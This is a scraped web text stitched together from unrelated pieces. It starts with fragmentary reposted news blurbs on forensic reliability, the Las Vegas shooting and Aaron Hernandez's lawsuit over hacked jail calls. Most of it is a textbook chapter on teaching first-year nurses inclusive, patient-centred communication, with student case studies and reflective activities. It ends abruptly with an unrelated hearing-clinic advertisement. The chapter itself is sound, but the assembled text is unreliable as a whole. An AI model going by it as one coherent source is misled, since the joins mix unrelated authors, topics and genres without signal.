Do you wonder how witchcraft and satanic children eating coven stories survive in this era of lies and misdemeanors and wrongful convictions? This article pushes back against what’s coming out of the US WH and DOJ (and some DAs) spiel about forensic reliability. https://injusticetoday.com/faulty-forensics-explained-fe4d41157452
via #Forensics: The usual forensic failures described : DAs don’t give much of a damn. — FORENSICS and LAW in FOCUS @ CSIDDS | News and Trends
via Fox2 News:
The suspect:
• Police do not believe there are additional shooters.
How shooting unfolded:
Class teaches how to survive an active shooting situation
Mass casualty drill takes place in Norfolk in preparation for the worst
In an active shooter situation, don’t just stand there…
via Latest updates: 58 killed, 515 hurt in Las Vegas Strip massacre — WTKR.com
Aaron Hernandez sues over hacked jailhouse phone calls — WTNH Connecticut News
BOSTON (AP) — Former New England Patriots player Aaron Hernandez has sued a company after some of his jailhouse phone calls were apparently listened to by an unknown person. Hernandez’s lawsuit filed in federal court in Boston charges Dallas-based Securus Technologies Inc. with negligence, breach of contract, and invasion of privacy. It demands that Securus…
via Aaron Hernandez sues over hacked jailhouse phone calls — WTNH Connecticut News |
5 Fostering first year nurses’ inclusive practice: A key building block for patient centred care
Professor Jill Lawrence and Natasha Reedy
What can we do as university teachers to enable first year nurses to embrace and honour diversity and to begin to develop their inclusive professional practices?
Key Learnings
• Communication and critical theories can draw our attention to the complexity of communication in Australian health care contexts
• Health care contexts are becoming increasingly diverse with differences in cultural, group and gender identities now being voiced
• A professional nursing identity involving the overarching concept of patient centred care encompasses inclusivity: the acceptance and capacity to cater for the needs of each individual patient
• Nursing students need to reflect on their self-awareness, as well as develop their professional identity, so that they can more effectively demonstrate patient centred care
Communication and critical perspectives can focus attention on the complexities of communication in a diverse, changing and complex context like health care. Understanding how communication perspectives have evolved helps us appreciate the implications of this diversity and complexity and may provide approaches to developing more inclusive practice.
Figure 5.1: Photograph by NeONBRAND on Unsplash
Models conceptualising communication theory have evolved from Shannon and Weaver’s (1948) rudimentary linear model. This model reflected the idea that there was a message as well as a sender and receiver who had little to do with the interpretation of the message so that the message was seen to be essentially independent from both the sender and receiver. While this model does not reflect the two-way nature of communication, nor the role that the sender and receiver both plays, we often communicate as if this were the case. Have you been in a classroom where the teacher transmits their lesson without acknowledgment of either verbal or nonverbal feedback and assumes that students receive the message in the way it was communicated with 100% accuracy? While the linear model did concede that sometimes the message was not effective, it only recognised one form of communication barrier, that related to physical noise [such as a computer falling].
A more sophisticated model of communication, the ‘interactive’ model of communication, updated the linear model by incorporating the sender’s and receiver’s perceptions into the model. Within this model, a communicator’s perceptions or fields of experience are identified as playing a decisive role in the effectiveness of communication. In addition, the concept of two-way feedback was also identified as being integral to effective communication processes.
Without two-way feedback , communication could be interrupted or disrupted by barriers that can impede the process of communication. For example, semantic or language and word barriers can occur along with psychological or intrapersonal barriers. Intrapersonal barriers stem largely from our perceptions of ‘difference’ or diversity. They include the assumptions that we make about others and the differences between us. They also encompass our expectations, our fears and anxieties and prompt us to stereotype people which in turn can lead to bias, prejudice and labelling. Likewise, our cultural understandings / misunderstandings can also lead us to experience interpersonal barriers which can emerge largely from cultural or gender difference[s].
A third, more advanced ‘transactional’ model of communication also appreciates the simultaneous and continuous nature of communication, as well as the fact that communication occurs within a context (a time, place, situation or relationship). The transactional model also identifies communication strategies that can be employed to alleviate barriers: self-awareness, motivation, audience analysis, listening, empathy (Engleberg & Winn, 2015), assertiveness and feedback. Figure 5.2 demonstrates these ideas.
Figure 5.2: Transaction Model of Communication, adapted from Kossen, Kiernan & Lawrence, (2017).
This chapter will explore how these communication barriers, and the strategies to overcome them, underpin the themes of diversity and inclusion in the specific context of healthcare and as enacted by students learning to construct or develop their identities as professional nurses.
Critical theory adds to communication perspectives by considering the ways in which perception shapes communication as a way of maintaining existing regimes of privilege and social control. Its role is so critical that it is defined as a threshold concept in a number of disciplines. In anthropology or ethnography it is defined as culture, and in critical theory as world view, way of knowing or discourses.
In this chapter we define perception as culture and appreciate that all human beings, including ourselves, have and make culture and that culture is reflected in our everyday activities, relationships, social processes, our values, beliefs, norms, customs, possessions, rules, codes, and assumptions about life. Shor (1993) (as cited in Lankshear et al., 1997) argues that “culture is what ordinary people do every day, how they behave, speak, relate and make things. Everyone has and makes culture … culture is the speech and behaviour of everyday life”(p. 30).
Our often taken-for-granted cultural understandings instil ideologies and power structures with the purpose of reproducing conditions in ways which benefit the already-powerful (Giroux, 2007). Advocates of critical pedagogy view communication as inherently political and reject the neutrality of knowledge (Giroux, 2007). In this way, differences from the norm, or the understood, accepted or taken for granted ways of knowing or mainstream culture, are seen to be deficit. Many of us live in a homogenous or common culture that we take for granted and accept as ‘natural’ or ‘normal’. Some of us do not question this cultural understanding. We might not have been exposed to individuals with different perspectives, perceptions of backgrounds, to different groups or cultures or to different ways of understanding and knowing.
Previous chapters have explored how we communicate using specific verbal practices and nonverbal behaviours. This helps us to understand that the same act can have different meanings in different cultures. This includes differences in the cultural understandings of individually and collectively orientated cultures, and the cultural differences in the way females and males and gender neutral or transgender individuals communicate.
If these understandings from communication and critical theories are merged, then elements of the communication process, for example the context of the communication, the role of culture and the barriers to communication, can be acknowledged as the means by which those in power, whether individuals, organisations or communities, can make judgements that can disempower or marginalise those who are assumed, labelled or stereotyped as being ‘different’. Alternatively, if other elements are prioritised or reimagined, then these communication elements can become agencies of empowerment and transformation. For example, empowering elements can encompass self-awareness and an understanding that our own perceptions, culture, world view or way of knowing is just one of many, and that other world views are as equally legitimate as our own.
The chapter will explore these understandings by applying them to the diversity present in the health care context – differences displayed by both patients and staff in the context – as well as to the ways in which student nurses can learn to be more inclusive of the differences they encounter in a health care context.
Diversity is ever-present in the health care context. Australia is a multicultural country. In addition, Aboriginal and Torres Strait Islander peoples have been in Australia continuously for 60,000 years (Hazelwood & Shakespeare-Finch, 2010). Everyone else is an immigrant of less than 250 years. Australia also has a high level of first-and second-generation immigrants. In 2016 the Australian National Census demonstrated that 33.3 % of Australians were born overseas, and a further 34.4% of people had both parents born overseas. However, numbers of migrants and Aboriginal and Torres Strait Islander people vary across Australia. For example, only 1.6 per cent of the South Australian population identify as Aboriginal and Torres Strait Islander people compared to 27.8 per cent of people in the Northern Territory (Australian Bureau of Statistics [ABS], 2006).
Despite this diversity in the population, Western ideas of communication are the taken-for-granted way of communication in Australia. For example, English is used as the standard language, written communication is valued (in legal matters) and the accessibility of ideas (through the internet), is a taken-for-granted notion reflecting the individualised Western way of communicating.
Figure 5.3: Photograph by rawpixel on Unsplash
With increases in the numbers of graduating nurses born outside Australia, being part of a multicultural healthcare team is now standard in most workplaces. In 2011, 33 per cent of nurses, 56 per cent of General Practioners [GPs] and 47 per cent of specialists in Australian were born overseas (ABS, 2013). This is significant, as the continuing increase of medical professionals from other countries enriches the workplace. However, it can also present many communication challenges in the healthcare environment. The increase in English language proficiency requirements for a registered nurse in Australia (Australian Health Practitioner Regulation Agency [AHPRA], 2014) has reduced spoken-language errors in healthcare environments. However, given that less than 7–10 per cent of the meaning of communication is from verbal communication (or the words alone), there is still a high potential for miscommunication when there are cultural differences in team membership in healthcare settings.
Nurses work in these diverse contexts, with diverse groups and individuals and care for diverse patients or clients. Like educational institutions, health care is at the forefront of diversity. As Crawford, Candlin and Roger (2017) contend, with increasing cultural diversity among nurses and their clients in Australia, there are growing concerns relating to the potential for miscommunication, as differences in language and culture can cause misunderstandings which can have serious impacts on health outcomes and patient safety (Hamilton & Woodward-Kron, 2010). Grant and Luxford (2011) add that there is little research into the way health professionals approach working with difference or how these impact on their everyday practice. Furthermore, there has been minimal examination of intercultural nurse–patient communication from a linguistic perspective.
Applying communication and critical models and strategies to nursing practice can help nurses understand what is happening in their communication with patients, particularly where people from different groups or cultures are interacting. Applying these approaches can help to raise awareness of underlying causes and potentially lead to more effective communication skills and therapeutic relationships, and therefore enhanced patient satisfaction and safety.
Semantic, language and words are barriers that emerge in health care contexts (Graham & Lawrence, 2015). When first entering any unfamiliar healthcare context or workplace, it is important to recognise there will be a new or unfamiliar language. Out of necessity, healthcare environments use healthcare jargon terms, which confuse not only new healthcare professionals but patients as well. This language use can lead to semantic barriers and generate difficulties in interactions with healthcare professionals (Graham & Lawrence, 2015). To complicate matters, there are many commonly used healthcare acronyms related to medication and treatment that are specific to specialised areas. Many are Latin, and their full meanings not intuitive – particularly for students whose first language is not Latin-based like English. Examples include mane (morning), nocté (night), prn (when required), stat (immediately), tds (three time a day) – there are many others.
The Australian Commission on Safety and Quality in Health Care (ACSQHC, 2011) has published a list of acceptable commonly used abbreviations /acronyms and identified abbreviations that have caused adverse patient events due to the acronym being mistaken for something different. For example, the abbreviation/acronym CA can be written to represent carbohydrate, (cancer) antigen, cancer, cardiac arrest or community-acquired. ACSQHC recommends writing the full medical term in patient charts, followed by its acronym, in the first instance to ensure patient safety. Despite these recommendations, it is common in healthcare settings to hear sentences constructed almost entirely of healthcare jargon and acronyms.
Intrapersonal and interpersonal communication barriers can be endemic in the health care context. From a cultural perspective, the power distance or hierarchical structure within healthcare settings are much more structured and more clearly defined than in the wider Australian communities. Similarly, the need for clear lines of authority and the call to minimise ambiguity in all communication to safeguard patient safety, mean communication within healthcare settings tends to be much more direct than it is in the broader population. Outside health care, such power differences are less clearly defined, and might even be able to be avoided completely. In a case such as this, where patient needs are paramount, healthcare staff need to develop strategies for communicating and effectively advocating for their patients.
Patients and healthcare staff who have grown up in a collectivist culture are likely to have a stronger sense of family commitment than is typical in the broader Australian community. Although Australian healthcare staff, patients and family members care deeply about family members, they are more likely to negotiate caring responsibilities with others. Being from a collective culture may mean healthcare staff are unavailable to work due to family commitments, or patients’ relatives may insist on staying with an ill family member in hospital during treatment. This strong sense of family duty, and the resulting obligations are amplified when accompanied by strong loyalty. It is important that this deep sense of duty is recognised and accommodated where possible.
The non-verbal element of personal space is another area of significant difference between broader Australian culture and healthcare culture. For example, when providing treatment, nurses need to be physically closer to patients than is usual outside a healthcare setting. Although healthcare professionals are accustomed to close physical and often intimate personal interactions, they still need to gain consent from patients and explain what is being undertaken and why it is important. The need for this consideration is even greater in cultural groups where higher levels of personal modesty are the cultural norm.
With such diversity and difference present in health care contexts, how do nursing students begin to develop an approach that assists them to understand the depth of diversity and its impact on their professional nursing practice? How do they develop an approach that is inclusive of the diversity they encounter in the health care context? In nursing an inclusive approach is synonymous with the concept of Patient Centred Care. The next section explains how student nurses can be encouraged to think about who they are and why they need to focus on developing their patient centred care, or an inclusive approach to their nursing practice.
Patient (person) Centred Care [PCC] is a care approach that considers the whole person and is important for nurses to be aware of in order to inform and foster inclusive care practice and ‘become ‘ a Registered Nurse. A PCC approach improves health outcomes of individuals and their families (Arbuthnott & Sharpe, 2009; Arnetz et al., 2010; Beach, et al., 2005; Boulding, Glickman, Manary, Schulman, & Staelin, 2011). It is a concept that consists of several constructs and as a consequence, a globally accepted definition of PCC is yet to be formed. The main widely accepted constructs of PCC include person, ‘personhood’ and effective communication.
The term ‘person’ acknowledges a human being has rights, especially in relation to decisions and choice (including being sensitive to nonmedical/spiritual aspects of care, patient needs and preferences), and being respected (Australian Commission on Safety and Quality in Health Care, 2012; International Council of Nurses, 2012; United Nations Human Rights Office of the High Commissioner, 1948; 1976). The term ‘person’ reflects that a person is a human being, who is made of several human dimensions. These dimensions include intellectual, environment, spiritual, socio-cultural, emotional, and physical, all of which operate together to form the whole person (Smith, 2014).
Personhood is the expression of being human, that is one’s humanity. A nurse can seek out an individual’s personhood by spending time communicating with them (the patient). In particular, communicating with them in order to find out what interests them, what is important to them, what concerns them and what threatens them (Dempsey, 2014). Importantly though, the element of PCC vital to improving health outcomes is presence of effective communication between the nurse and the patient and the patient’s family in order to facilitate information sharing (Dempsey, 2014; Kitson, Marshall, Bassett, & Zeitz, 2012).
For communication to be effective, it needs to be based on mutual trust and respect. Trust and respect are key enablers in the establishment of a therapeutic relationship with patients (Dempsey, 2014; Kitson, et al., 2012). Other core dimensions of PCC include: education, emotional and physical support, continuity, transition and coordination of care, involvement of family and friends and access to care (ACSQHC, 2011). When delivering PCC, it is important to consider all these constructs and dimensions as a whole unit, and how they work in unison to improve the health and wellbeing outcomes of a patient and their family. Therefore, as first year nurses, awareness of these PCC constructs and their benefits are essential in order to foster inclusive care practice.
The next step is to provide student nurses with several building block activities, designed to:
• Raise their self-awareness of the values they hold as ‘being’ human’ and their associated behaviours in a everyday way of being.
• Raise their awareness of the values the nursing profession holds.
• Identify ‘ways of being in every day practice’ in order to develop the values and behaviours that the nursing profession holds in promoting inclusive care practice.
The following activity can help us to understand the implications of this way of thinking in our approach to the values we hold.
What do we value in ‘being’ human?
• Reflect on the values you place on being human. Write down your thoughts in the first column.
• What behaviours shows these values in action? Write down these behaviours in the second column.
Values I place on being human Behaviours that reflect my values in being human
The nursing profession holds specfic values in relation to ‘being’ human. There are, for example, multiple Codes of Practice that designate these values. These include the International Council of Nurses (2012) with the ICN Code of Ethics for Nurses, the Nursing and Midwifery Board of Australia’s (2018) Registered Nurse Standards for Practice and the Nursing and Midwifery Board of Australia, and the Nursing and Midwifery Board of Australia’s (2018) Code of Professional Conduct for Nurses in Australia. Today’s rapid changes in value systems in society are causing health care to encounter more ethical and philosophical challenges at providing care to its clients. These changes have created diverse and changing nursing environments that require professional nursing.
• What behaviours would you show to reflect these values in your inclusive professional practice?
• Write down these behaviours in the second column.
Values we placed on being human Behaviours that reflect our profession’s values in being human
Now we compare our personal values to the professional values towards ‘being’ human to help us develop inclusive practice?
1. Circle the values and corresponding behaviours that are a match.
2. Identify the values and the corresponding behaviours that do not match by highlighting these with a highlighter pen.
3. Write down three strategies you could begin to implement in your everyday ‘way of being’ (behaviour) towards other people, to address areas that were a mismatch to your professional codes of practice.
Strategies to implement to improve my way of being with others to ensure my behaviour reflects the nursing standards and codes of practice
We can see how developing the concept of professional behaviours, or in the context of health care, Patient (person)-centred care, is a professional approach that considers the whole person and is important for first year nurses to be aware of in order to inform and foster their inclusive care practice in ‘becoming’ a Registered Nurse. By considering the patient as a person with their own values, beliefs, assumptions, expectations, student nurses are beginning to overcome some of the barriers that can arise when they communicate across difference. The following case study shows how one student is developing her person-centred care.
Case Study
I would like to show I care as a student nurse on my first clinical placement firstly by getting to know the people I will be working with, by understanding my scope of practice through a thorough orientation, not being too nervous and hopefully feeling relaxed and confident, this will certainly put me in better stead to show my caring nature. I will ask many questions (at appropriate times) to help me to understand conditions and diagnosis and this will assist me to understand about the people in my care. Building a rapport with patients and taking the time to get to know them will be top of the list for showing I care for patients, I would also build rapport with their families to help ease their worry, as I know it is awfully difficult leaving a loved one in hospital and uncertainty of the unknown and wishing there was more they could do. Through a transactional communication model, congruent body language, displaying genuine interest, being empathetic, positive, encouraging, honest and respectful and culturally aware, I will hopefully be off to a good start in showing my caring nature on my first student placement.
In this next section we link ideas derived from communication and critical perspectives and those of Patient Centred Care to the strategies or skills and competencies to enhance an inclusive approach in a health care context.
A conceptual model to develop an inclusive approach presents three practices that emerge from integrating communication and critical theories with Patient Centred Care (Lawrence,2015). The three practices include self-awareness and reflective practice, communicative practice and critical awareness of context (or critical practice). The practices underpin a conceptual model depicted below in Figure 5.4.
Figure 5.4: Model for Inclusive Practices, Lawrence, (2015).
Developing self-awareness is more complex than most people imagine. It is difficult to change or shift our taken-for-granted assumptions and expectations and to accept others’ differences without judging them. Listen to this TED talk about cultural identity, how our lives, our cultures, are composed of many overlapping stories. Novelist Chimamanda Adichie tells the story of how she found her authentic cultural voice — and warns that if we hear only a single story about another person or country, we risk a critical misunderstanding.
To encourage nursing students to make this shift they are asked to reflect on their self-awareness by using the Johari window. The activity below assists them to accomplish this.
Activity 1
Develop your self-awareness with the Johari Window
• Watch: The Johari Window in Model
• Complete the quadrants of the Johari window reflecting about your nonverbal communication as an example. Then, ask a peer, class or work colleague or friend, family member, etc. to add their reflections about your nonverbal communication.
• Reflect about what you might have discovered about your own self-awareness. How could you learn more about how others perceive you?
Figure 5.5 Johari Window, Public Domain image, Retrieved from https://en.wikipedia.org/wiki/Johari_window#/media/File:Johari_Window.PNG
• Culturally safe and respectful practice requires having knowledge of how a nurse’s own culture, values, attitudes, assumptions and belief’s influence their interaction with people and families, community and colleagues.
• Refer to the Code of Conduct for nurses (NMBA, 2018). Which principle/s do you think aligns with this activity?
Activity 2
Interview someone who has worked in a health care context and ask them about their experiences and what helped them to be confident in the new context.
• Your task is to ask your interviewee about their nursing experiences / problem solving strategies they have developed; what worked for them; did they become more comfortable in a clinical situation; how did they balance life, study, children and work; something they found unexpected; one thing they wished they had known at the start.
Figure 5.6: Gibbs Reflective Cycle (1988)
Activity 3
Build your reflection skills by practicing Gibb’s reflective cycle (1988).
• Reflective practice is another important strategy you can engage in to develop your self-awareness, understanding of situations and interactions encountered in practice and your own responses to these. There are quite a few frameworks for reflective practice.
• Apply the stages of Gibbs Reflective Cycle to the interview you conducted in Activity 2. In the feelings stage outline one surprising thing that you discovered about nursing and patient-centred care that differed from the expectations you had about nursing and in the action plan stage put forward a strategy that we can use to become comfortable with an unfamiliar group or individual in a context is our ability to reflect on the behaviours, languages or jargon in the context.
In a practical sense this means that we need to observe, monitor, to watch, listen to and reflect on other’s or the group’s behaviours and practices and to learn from our observations. In a health care or clinical context for example, how do you address clients, colleagues and supervisors? What happens if you don’t do this well? Where do you need to go to find out about the accepted requirements for interaction? Is there a source of help and assistance? Lawrence (2015) suggests that one way to learn how to understand this is to watch how our colleagues and clinical supervisors communicate with us, analyse their practices, the kinds of information that are valued and begin to develop evidence-based practice. What do our studies inform us about? What does the research literature say? What exactly does this mean for our practice and our communication in that context? Good observation techniques can save us a lot of time as well as help to identify the group and/or individuals we need to communicate with in the new context. It is important to recognise too that if we do not know the practices in the new context, we are not deficient, we are unfamiliar.
The second practice relates to communication. Communicating effectively helps gain and develop an understanding of an unfamiliar culture, group or person being engaged with as well as their specific behaviours and practices. The specific communication strategies discussed here include seeking help and information, participating in a group or team, and making social contact and conversation. In terms of communication theory, these practices signify ‘feedback’ and facilitate more effective communication between communicators.
Seeking help and information is an important communication strategy which cannot be underestimated. It is critical in understanding another’s’ beliefs, values and cultural practices. We cannot assume that we can understand another person or patient because they are a certain age, nationality or have a certain sexual preference. We have to seek their help in developing our understanding of them, and in a health care context our understanding of their needs and requirements.
In daily life the evidence is overwhelming. Kids Help Lines assist younger people cope with changes in their lives. Cancer Support groups are set up to help people diagnosed with cancer to develop sources of support and information. The following case study documents students’ clinical experiences of seeking help and information.
Case Study
I would admit it has been difficult to understand some of the strong ethnic accents when they talk. I don’t want to appear rude but I have to ask them to repeat what they have said.
One of our Indian CNs wasn’t able to communicate with an old digger who was being quite rude and abusive to her. She asked me if I would assist him as there was not going to be the opportunity for her to do so as he was not going to change his mind. She wasn’t upset or angry, she tried, she handed over and all was good, because I was able to culturally communicate with him, as I am Australian, from the bush with a military background. Nurses need to work with the understanding that no two persons are the same and communication and respect are important.
I found that working for Blue Care and in the hospital the problem with communication is either with the patient or client (most elderly) who is hard to understand as they are unable to speak clearly and unable to voice their concerns. Or that information was not handed over properly, as staff are usually flat out and understaffed. I find it’s better to go to the patient’s care plan or file and look at progress notes thus getting a basic detail of the history of the person. I feel if we just take a little bit of time and to listen to others we might hear something, others can’t hear.
Figure 5.6: Photograph by youssef naddam on Unsplash
It is important to reflect on our own attitudes to asking for help. Some people don’t find it easy to ask for help. Kossen, Kiernan and Lawrence (2017) suggest that some may believe asking for help is a sign of ‘weakness’ while others may feel that they lack the confidence to ask. Still others might be reluctant to ask because they are overconfident about their own abilities. Others may feel they do not have the ‘right’, or believe that they could be considered ‘stupid’, or they may equate help as ‘remedial’. Other groups’ cultural belief systems may not value asking for help or do not prioritise it.
Case Study
Again students reflect about why they felt unwillingness to ask for help and support.
Sometimes, my fear of conflict prevents me from communicating effectively because I tend to keep quiet rather than express my own point of view or speak up if I feel something is incorrect. Sometimes I cannot understand the supervisor what he means, so I must ask again. This is really uncomfortable for me. The biggest part of communication is to have to ask for help. Recently I asked for help from one of my colleagues and was nervous to see them as I may appear stupid for just not getting it.
• Reflect about your approach to asking for help. For example, do you hesitate to ask because it is difficult for you?
• I sometimes hesitate because I sometimes feel that I do not like to bother people with my problems?
Asking for help is critical in building our learning capacities, so it is vital not to minimise the value of this skill. However it must be done appropriately and professionally. We need to prepare ourselves, for example asking ‘who to ask’ and ‘how to ask’. The question about ‘who to ask’ often requires research. The most appropriate one to use may need prior investigation, where we use sources of information gained by making social contact and conversation. It is also useful to reflect on how to seek help and information. This is because the way that we ask needs to be socially and culturally fine-tuned to the particular context. In relation to verbal communication, we may need to consider the actual words we will use. Will we use colloquial language or jargon, long sentences or short sentences? Will we prepare and practice how to ask? Will we ask directly or indirectly? How close will we stand?
Physically, how and where we will ask for help (in consultation times, on a forum, using email, through an appeal if it is about a grade)? In terms of nonverbal communication we would need to think about our gestures, facial expression, body language and whether we use direct or indirect eye contact. In terms of paralinguistics what tone of voice, what pace, volume and pitch will we use? We need to ensure our choices are appropriate to our context. The verbal and non-verbal ways we would seek help and information from a lecturer would, for example, differ from the ways we would ask our friends or our employer or a client in an aged care institution.
Participating in a group or team
The communication strategy used when participating in a group or team can help us develop our confidence as well as contribute to critical thinking and questioning. This is essential in both learning and professional contexts and is crucial in team-centred workplaces like nursing or healthcare contexts.
Case Study
Students reflect about their use of this strategy or practice using online tools:
Having things like blackboard collaborate was extremely beneficial. The feedback, the advice I received, and the fact that I saw that people were in a similar boat with study helped me stay focused and determined.
I had what I thought was a lot of experience when it came to acquiring information from digital resources. When it comes to developing my skills I realised I am not as knowledgeable as I thought. There are more ways to access information that I had no knowledge of or had access to. I found that participating in online forums was very helpful in learning due to giving and receiving advice from and to other students. I am gaining a lot of confidence and more digital literacy skills.
• Observe your colleagues’ and peers’ use of team work.
• Write down one example of a strategy that contributes to effective teamwork and one strategy that negatively affects the team’s productivity.
Building team and group capacities not only helps gain confidence in performing in health care contexts, they can also help gain employment and/or promotion. Team and group capacities assist with accomplishing professional tasks more effectively and productively. However, the verbal and nonverbal behaviours and cultural beliefs underlying this skill also change from person to person, culture to culture, place to place, context to context. Some individuals may feel more comfortable with team work while others prefer to work independently. Some groups enjoy early getting-to-know-you humour before they progress to the actual work of the meeting, hand over or consultation? Some groups are more collectively orientated while others more individually orientated. Cross-cultural theory sees these differences in behaviours as cultural practices or cultural literacy. But the fact is that we often take our own behaviours and practices for granted while perceiving others’ ways as different or deficit. It is important to stress that one way is not better than the other – just different.
Making social contact and conversation
This practice not only increases our sources of support it also assists in brainstorming solutions or solving problems. Confidence in employing this practice will increase our capacity to develop networks, learning circles, mentors, friends and partners.
Case Study
Again students reflect on their capacities to make social contact.
When I came here in Australia five years ago, my communication skills were very limited. High school helped me a lot and talking to different people in English really built up my communication skills. I have a great support system around me including two great girls who I have met on clinical. It is great to have them to talk to and ask questions we also keep each other on track. I also have a friend who graduated last year so this is also a great avenue to receive information and get help. I will be working in the industry during my studies so I believe I will have plenty of help from experienced nurses when I need it.
I didn’t know anyone when I started, but I met a 2nd year undergraduate in the library who took me under her wing and showed me how to use the library, photocopier, Study Desk online and forums. She also added me to her study group on Facebook. I was very thankful that she took her time to show me these vital things.
• Observe your colleagues and peers’ use of this strategy.
• Write down three approaches that you would feel comfortable in using to make social contact.
Again there can be differences in the ways that individuals and groups approach this strategy as its use needs to be socially and culturally fine-tuned to the specific context or situation. Its use depends on a very complex social and cultural interplay of factors. For example, do you need to be introduced before you are able to meet someone? Do you need to think of a suitable topic with which to start a conversation (for example the weather, a significant cultural event)? Are there ‘taboo’ subjects which could lead to a communication barrier or even offense? What kinds of personal information can you use to help authenticate your status and position which may be necessary for establishing relationships in particular cultural groups? Are there any unwritten social mores regarding this skill which would mean that if you were to ignore or overlook them would there be a risk offending someone?
Critical awareness of context
The third practice is the most difficult. Critical practice moves beyond our self-awareness of our own belief systems and cultural practices to include an awareness of the relationships in operation around us. This is called critical self-awareness or more generally critical practice. Critical practice involves a) the ability to seek and give feedback about specific practices and belief systems and b) an awareness of the power relationships operating in the context or culture.
Seeking and giving feedback is critical. For example, teachers give feedback all the time in assignments, in class and on forums. Students want feedback as feedback assists students to improve their skills and knowledge. In a nursing workplace there will be performance reviews and case conferences and seeking feedback allows you to learn more about your own practices and beliefs as well as those of your colleagues and peers. It also allows you to check whether your understandings and interpretations about these are accurate. Asking for and giving feedback is also an empowering strategy. When it is positive it can facilitate teamwork, improve interpersonal relationships and lead to greater productivity.
Providing constructive feedback or negative feedback, in socially and culturally appropriate ways, can be a difficult and risky strategy. It can be vital in being assertive, in putting forward your point of view, in developing flexibility, in time management, in preventing stress and in minimising conflict. For example, in keeping patients safe, sometimes nurses have to take their colleagues to one side and tell them that they are not doing something correctly or the way they communicate with others is not being well received. If you are inadvertently offending someone then it is much better if that person were to let you know.
Case Study
Student nurses reflect about situations where feedback became an important strategy in avoiding communication barriers and in enabling them to fulfil their study goals.
The communication error I witnessed was in my class. We were learning about long bones, and our practical involved dissecting a bone from a cow. Our lecturer completely forgot to mention that the bone was from a cow. We cut the bone, and one lady was standing back. It was lucky that she realised herself that it was a cow’s bone, as she followed a religion which meant that the cow was a sacred animal to her religion. It was an honest communication error in which the lecturer apologised profusely.
If someone is offending you then it is important for you, in a socially and culturally acceptable manner, to provide them with some constructive and careful feedback that would help to overcome this potential barrier between you and the other person. You could, for example, use the the following strategy:
• Prepare what you want to say, as well as when, where and how, beforehand.
• Start with something positive and/ or place yourself in their situation (be empathetic).
• Give your reasons and/or explanations for why you feel offended/disagree.
• Provide an alternative or state what specific action you would like them to do.
Provide some examples of where you either sought or gave feedback about specific practices whether or not they achieved the solution you were aiming for.
• For example, you might want to give a lecturer feedback about how marks were distributed in an assignment.
• Your outcome might be to have your marks increased.
Power relationships
Power relationships operating in the culture or context can affect our effectiveness. If you were studying social science or politics you would be studying power relationships for the entire degree. Power is the ability to influence or control the behaviour of people. Sometimes power is seen as authority which is the power which is perceived as legitimate by the social structure surrounding the context. Examples would encompass a Federal or State or Local Government, a Hospital Board, the University Council. Sometimes power can be seen as evil or unjust and you might agree or disagree with the decisions made.
However the exercise of power is accepted as pervasive to humans as social beings. In the business environment, power can be upward or downward. With downward power, a company’s superior influences subordinates. When an organisation exerts upward power, it is the subordinates who influence the decisions of the leader. In higher education academic staff can be seen as having more power than you as first year students? Health care workers or nurses will be witnesses to power relationships both in their studies and clinical experiences. Domestic violence, whether physical or verbal, is an expression of power.
Case Study
In thinking about my conversations about caring I engaged with the concept of putting on a new face for the next patient you see, I find this particularly difficult as I can be emotive at times and this is something that I will be working on for my future practice. I am also aware that body language has an important role in this interaction and my facial expressions can give me away at times also. Other strategies that I use to communication towards others is talking at the eye level of the person instead of standing over them, sitting beside their bed so there is no power play happening as I believe we already display a power imbalance through our knowledge, practice and skills we have developed so the patient who is unwell and in a vulnerable position, whether they are laying down, sitting, or with people standing over them can be at eye level. Ways in which I have shown care is by building a rapport with people and their families, asking about their interests, their concerns by actively listening, acknowledging, paraphrasing to understand and responding appropriately also giving space or silence when needed. I also like to follow up any with any questions that the person has that I may not have the answer to and respond back in a timely manner or refer the person to someone who may be able to explain, I like to be authentic and honest. In times that I have shown care towards others it has mostly been positive although there were times when the person was in pain or just fed up with their situation and they were short with me or just plain rude and abrupt and this was understandable considering their situation, so not taking everything on board is important when caring for people and usually an apology slips in down the track when they are feeling better, although I have explained sometimes to people I care for that “I am doing my very best and I understand you are not well, but let’s try and get through this together” that usually puts a different spin on the outcome of care and a genuine, honest understanding of each other.
I am of Aboriginal decent but due to my appearance am not recognised as such by the public. An example of discrimination was in a meeting group when one lady very openly pronounced some offensive things not only in front of me but also in front of another fellow Aboriginal student. We were all offended by the comments but chose to only discuss our feelings amongst ourselves afterwards. This was very unprofessional and in a patient/professional environment very inappropriate.
• Reflect about when you may have experienced or witnessed discrimination
The three practices are lifelong learning skills that can assist us to be more inclusive and help nurses practice patient centred care. For example each will have particular ways of communicating and operating. The practices can instil in us a resilience that enables us to apply and re-apply these practices so that we are empowered to practice inclusivity whenever diversity emerges in the fast moving and complex world in which we live.
This chapter explored how our awareness of self shapes our capacities to adapt to develop a more inclusive approach to diversity by integrating the concept of Patient Cantered Care. Patient Centred Care was described as an inclusive practice that new student nurses need to understand and practice as they progress through their degrees. The twin concepts of awareness of self and awareness of context were used to inform a model of inclusion. The model emphasises the use of self-awareness and reflective practice, communicative practice and critical awareness of context. These practices can assist nurses to develop patient centred care, at its heart an approach that by its nature, is inclusive.
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United Nations Human Rights Office of the High Commissioner. (1948). The international bill of human rights. Geneva, Switzerland: United Nations. Retrieved from https://www.ohchr.org/documents/publications/compilation1.1en.pdf
United Nations Human Rights Office of the High Commissioner. (1976). International covenant on economic, social and cultural rights. Retrieved from https://www.ohchr.org/en/professionalinterest/pages/cescr.aspx
Wikipedia (2006). The Johari Window. Retrieved from https://en.wikipedia.org/wiki/Johari_window
World Health Organisation. (2016). Health Literacy. Retrieved from http://www.who.int/healthpromotion/conferences/9gchp/health-literacy/en/
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Hearing Wellness Evaluation
Hearing tests are used to determine if a person’s ability to hear is declining and the severity of the issue. Often, it is the next step after failing a basic screening. Wesson Hearing Aid Center offers a variety of hearing tests to ensure we get to the bottom of any problems you’re experiencing. By prioritizing accuracy, all related hearing tests provide useful feedback for treatment.
Hearing Wellness Evaluation
Creating a patient’s hearing profile is the best way to understand how hearing loss affects their normal life. A hearing evaluation consists of any of the following tests: pure-tone, bone conduction, air conduction, speech reception and speech testing. That is just a small sample of the tests that patients can expect when going for an evaluation. Case history based on former health issues will change, which tests are expected during the evaluation. If an underlying condition is the cause of hearing loss, then appropriate actions can be taken for a referral.
